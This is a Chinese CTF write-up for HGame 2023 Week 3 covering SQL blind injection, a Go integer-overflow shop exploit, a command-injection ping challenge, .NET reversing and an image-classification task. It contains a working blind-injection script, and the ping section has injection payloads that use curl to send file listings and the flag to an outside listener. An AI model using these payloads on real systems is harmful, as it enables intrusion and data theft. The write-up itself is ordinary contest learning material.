HGame 2023 Week3 部分Writeup

HGame 2023 Week3 部分Writeup

阅读提示

本文共3,907字,阅读大约需7分钟。

本周在迎新春,走亲戚(真的很忙),外加题目难度增加,笔者比较菜,因此只解出了寥寥几题,不过姑且也算是一些成就,故作此题解,希望能够对各位读者有些帮助。

Week3 比赛地址:https://hgame.vidar.club/contest/4

[WEB] Login To Get My Gift

本题考查的同样是SQL注入,不过与之前不同的是,这次考察的是盲注,且从上周的过滤关键词转为了检测到关键词就拒绝请求。启动环境后,首先,笔者使用用户名testuser,密码testpassword登录系统,抓取登录请求后在postman中进行调试。
经过测试,and、空格、substrmid等被过滤,但是orleftright等可以使用。笔者猜测,SQL语句大抵是类似SELECT * FROM table WHERE username='xxx' and password='xxx' ...的,因此,如果在password处截断注入,而且使用or语句,则需要保证usernamepassword不同时正确,否则无法进行盲注(或者也可以使用时间盲注,这样就不用考虑回显了)。
这是我最终构造的盲注语句:

testpassword1'Or/*a*/if(ascii(right(%s,%s))-%s,0,1)#

此处,由于ascii函数只返回字符串第一个字符的ASCII码,因此,可以用right函数从后往前爆破,下面是完整的python脚本:

import string

import requests

if __name__ == '__main__':
    url = "http://week-3.hgame.lwsec.cn:30453/login"
    index = 0
    s = ''
    trytxt = "(SELECt/*a*/group_Concat(PAssw0rD)/*a*/frOm/*a*/User1nf0mAt1on)"
    curr_index = 0
    while True:
        for i in range(32, 127):
            ret = requests.post(url, data={
                'username': 'testuser',
                'password': 'testpassword1\'Or/*a*/if(ascii(right(%s,%s))-%s,0,1)#' % (trytxt, index + 1, i)
            })
            if 'Success' in ret.text:
                s = chr(i) + s
                print(s)
                break
        index += 1

首先尝试爆破数据表:

(SELECt/*a*/group_Concat(table_name)/*a*/frOm/*a*/infOrmation_schema.tables/*a*/whEre/*a*/table_schema/*a*/in(database()))

得到数据表名为:

User1nf0mAt1on

接着获得字段:

(SELECt/*a*/group_Concat(column_name)/*a*/frOm/*a*/infOrmation_schema.columns/*a*/whEre/*a*/table_name/*a*/in('User1nf0mAt1on'))

得到字段:

id,PAssw0rD,UsErN4me

最后获得用户名和密码:

(SELECt/*a*/group_Concat(UsErN4me)/*a*/frOm/*a*/User1nf0mAt1on)
(SELECt/*a*/group_Concat(PAssw0rD)/*a*/frOm/*a*/User1nf0mAt1on)

得到管理员账户:

hgAmE2023HAppYnEwyEAr
WeLc0meT0hgAmE2023hAPPySql

登录后访问/home获得flag:

hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}

[WEB] Gopher Shop

下载源代码,在本地编译调试,发现SQL方面似乎没有可以注入的漏洞,但是user.go文件中的部分函数似乎存在整数溢出漏洞:

func BuyProduct(context *gin.Context) {
	username, _ := context.Get("username")

	user, err := db.GetUserByUsername(username.(string))
	if err != nil {
		return
	}
	product := context.Query("product")
	price, err := db.GetProductPrice(product)
	number, err := strconv.Atoi(context.Query("number"))
	//校验是否买的起
	if err != nil || number < 1 || user.Balance < uint(number)*price {
		context.JSON(400, gin.H{"error": "invalid request"})
		return
	}
	// ...

此处看似使用了strconv.Atoi,无懈可击,但是后面的比较语句中uint(number)*price仍然存在溢出的可能,可以在程序中添加

	println("total:", uint(number)*price, err)
	println("number:", uint(number), err)

来查看溢出的情况。
经过测试,strconv.Atoi似乎对于一切大于9223372036854775808的数,都会强制转换为9223372036854775808,同时,uint(number)*price的最大乘积结果为18446744073709551616,超出后就会溢出。在商店中,我们看到Apple的售价是10,而10*1844674407370955162在该程序中得出的结果是4(即相比于最大值18446744073709551616,溢出了4),我们的初始余额(Vidar Coin)是10,因此,可以利用这个漏洞购买大量的林檎苹果,然后再出售,即可获得足够购买flag程度的余额了。
因此,解题步骤为:首先购买1844674407370955162个Apple,接着分批次卖出(不能同时卖,因为数字过大了),然后购买flag即可

最后得到flag:

hgame{GopherShop_M@gic_1nt_0verflow}

[WEB] Ping To The Host

这道题在第三周中算是难度较低的一道,简单来说,就是一个无回显的linux shell,不过后端过滤了flag、空格、cat等字符,需要进行一个简单的绕过。
首先在自己的服务器或电脑(开端口穿透)上开一个监听(或者HTTP服务器,只要能接收到传回的数据即可),接着,用ls找到flag的位置:

127.0.0.1${IFS}&&${IFS}curl${IFS}[你的IP]:65532/`ls${IFS}/${IFS}|base64`

解码base64,得到简单的目录结构:

app
bin
boot
dev
etc
flag_is_here_haha
home
lib
lib64
med

然后,读取flag文件:

127.0.0.1${IFS}&&${IFS}curl${IFS}[你的IP]:65532/`nl${IFS}/????_is_here_haha|base64`

得到flag:

hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}

[REVERSE] kunmusic

怎么到处都有小黑子(恼)
这道题考察的是.net程序的反编译,笔者使用ILSpykmusic.dll进行反编译,发现程序中似乎暗藏玄只因,在程序运行时,会对Resource.data进行异或解密:
9d691c595d554952b7bc3d41bf6d9073
于是,笔者提取出这部分数据,也异或解密了一下:

if __name__ == '__main__':
    f = open(r"C:\Users\vvbbnn00\Desktop\hgame\kmusic\data.bin", "rb")
    byte = bytearray()
    for i in f.read():
        byte.append(i^104)
    open(r'C:\Users\vvbbnn00\Desktop\hgame\kmusic\secret', 'wb').write(byte)

解密后拖进IDA,发现可能是一个.net库,于是也用ILSpy加载了一下,发现里面的唱、跳、RAP函数都没有什么问题,但是music却出乎意料的长:

	public void music(object sender, EventArgs e)
	{
		if (num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 0x525F) == 12702282 && num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 && num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 && num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 && num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 && num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 && num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 && num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 && (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 && num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 && num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 && num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 && num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722)
		{
			int[] array = new int[47]
			{
				132, 47, 180, 7, 216, 45, 68, 6, 39, 246,
				124, 2, 243, 137, 58, 172, 53, 200, 99, 91,
				83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
				216, 36, 11, 80, 39, 162, 97, 58, 236, 130,
				123, 176, 24, 212, 56, 89, 72
			};
			string text = "";
			for (int i = 0; i < array.Length; i++)
			{
				text += (char)(array[i] ^ num[i % num.Length]);
			}
			new SoundPlayer(Resources.过年鸡).Play();
			MessageBox.Show(text);
		}
	}

很明显,这是一个十分复杂的方程,flag似乎就藏在array[i] ^ num[i % num.Length]的计算结果中。那么,后面需要做的事情便很明了了——解方程吧。但是,我不会!我不会!我不会! 怎么办?
我们知道,hgame的flag通常以hgame{开头,以}结尾,而分析代码发现,num只有13个,而密文的长度为47,则必然会存在重复,我们已知明文的前6位和最后一位(第46位),根据异或计算的特性,自然能够知道这些位置对应的秘钥,也就是说,秘钥的第0-5位和第7位(46 Mod 13 = 7)已知,剩下5位未知。同时,密文中,第0-513-18、…位和第4633…位都可以先破译出来,剩下的只要猜猜就能出来啦(
以下是笔者尝试的代码:

#include <stdio.h>
#include <string.h>

char pass(int *num) {
	return num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 0x525F) == 12702282 && num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 && num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 && num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 && num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 && num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 && num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 && num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 && (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 && num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 && num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 && num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 && num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722;
}

int main() {
	int array[] = {
		132, 47, 180, 7, 216, 45, 68, 6, 39, 246,
		124, 2, 243, 137, 58, 172, 53, 200, 99, 91,
		83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
		216, 36, 11, 80, 39, 162, 97, 58, 236, 130,
		123, 176, 24, 212, 56, 89, 72
	};
	char known[] = "hgame{";
	int num[13] = {0};

	// known
	for (int i = 0; i < 6; i++) {
		num[i] = known[i] ^ array[i];
	}
	num[7] = 72 ^ '}';
	// guess
	num[6] = 62;
	num[12] = 133;
	num[11] = 93;
	num[8] = 120; // ?
	num[9] = 199;
	num[10] = 15;

	for (int i = 0; i < 13; i++) {
		if (num[i]) printf("%d, ", num[i]);
	}

	printf("check: %s \n", pass(num) ? "Pass" : "Fail");

	int length = sizeof(array) / sizeof(int);
	printf("length:%d\n", length);
	char text[48] = "";
	for (int j = 0; j < length; j++) {
		if (num[j % 13] == 0) continue;
		text[j] = (char)(array[j] ^ num[j % 13]);
	}


	if (pass(num)) {
		printf("%s", text);
		return 0;
	}


	for (int i = 6; i < 13; i++) {
		if (num[i] != 0) continue;
		printf("Trying N%d...\n", i);
		for (int j = 0; j < length; j++) {
			if (num[j % 13] == 0) text[j] = '?';
		}
		for (int k = 0; k < 256; k++) {
			char pass = 1;
			for (int j = i; j < length; j += 13) {
				int tmp = (char)(array[j] ^ k);
				if (tmp > 126 || tmp < 32 || tmp == '{' || tmp == '}' || tmp == ' ') {
					pass = 0;
					break;
				}
			}
			if (!pass) continue;
			for (int j = i; j < length; j += 13) {
				text[j] = (char)(array[j] ^ k);
			}
			printf("possible: %s, k=%d\n", text, k);
		}
		getchar();
	}
//	printf("%s", text);

// hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}
}

最后得到完整的num

236, 72, 213, 106, 189, 86, 62, 53, 120, 199, 15, 93, 133

以及flag:

hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}

PS:本题的解法很可能不是最优解,更加简单的方法可以参照官方WP

[MISC] Tunnel

本题题目有误,下载的流量分析中提取TFTP文件,搜索hgame即可找到flag:

hgame{ikev1_may_not_safe_aw987rtgh}

[MISC] 3ctu4_card_problem

运行环境,会传回一个很长很长的base64数据,解码后发现是一个压缩文件,里面包含100张卡牌图片,有游戏王卡牌和宝可梦卡牌两类。

Please distinguish the type of the cards.(ptcg: 0, ygo: 1)
Input the answer in the order of the cards.(e.g. 10101010)
Press Enter to continue...

根据提示,我们需要按照编号将卡牌的类型传回,宝可梦为0、游戏王为1。
查看卡牌:
d9512dd7edce4b5ab7166279f0a9ca49
发现卡牌图片都被旋转了随机的角度,而且加上了部分干扰,因此需要用到机器学习。由于笔者没有学习过相关知识,因此使用的是最简单的PaddleX工具可视化训练的,首先,笔者运行了3次程序,获得了300张数据,将他们人工分类后,导入于PaddleX中:
83a77abeb1cb4e73a13afba0abcc1c09
然后,新建了一个图像分类的项目,以默认参数跑模型训练:
157ded0e39534e73ac083fa87239c71e
最后经过测试,部分模型在测试集中可以达到100%准确度:
9dc821d63149438fbaa880e180364098
导出最优模型,然后编写代码:

# Please distinguish the type of the cards.(ptcg: 0, ygo: 1)
# Input the answer in the order of the cards.(e.g. 10101010)
import base64
import os
import zipfile

import pwn
import paddlex as pdx
import cv2

print("Loading model...")
model = pdx.load_model('./kpfl/inference_model/inference_model/')
print("Model loaded.")

replace = """Please distinguish the type of the cards.(ptcg: 0, ygo: 1)
Input the answer in the order of the cards.(e.g. 10101010)
Press Enter to continue..."""

replace2 = """ > """


def get_res(path):
    im = cv2.imread(path)
    im = im.astype('float32')
    result = model.predict(im)
    return result


if __name__ == '__main__':
    conn = pwn.remote("week-3.hgame.lwsec.cn", 30102)
    conn.sendafter(b"Press Enter to continue...", b"\n")
    data = conn.recvline()
    # data = open("week3_f.txt", 'rb').read()
    data = data.decode().replace(replace, "").replace(replace2, "")
    data = base64.b64decode(data)
    open("file.zip", "wb").write(data)
    file = zipfile.ZipFile('file.zip')
    file.extractall(path="./extract/")
    file.close()
    result = ""
    for i in range(0, 100):
        p = os.path.join("./extract/", f'{i}.png')
        res = get_res(p)
        res = res[0].get("category_id")
        result += str(res)
        print(res, end="")
    conn.sendline(result.encode())
    conn.interactive()

运行得到flag:

hgame{9ff693d394d4691d55feb4ffa555bd831c005509}

本题笔者训练用的数据集和最终模型可以从下方链接下载:
https://od.vvbbnn00.cn/t/izLSG0

# CTF  WEB  MISC  REVERSE  Writeup 

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×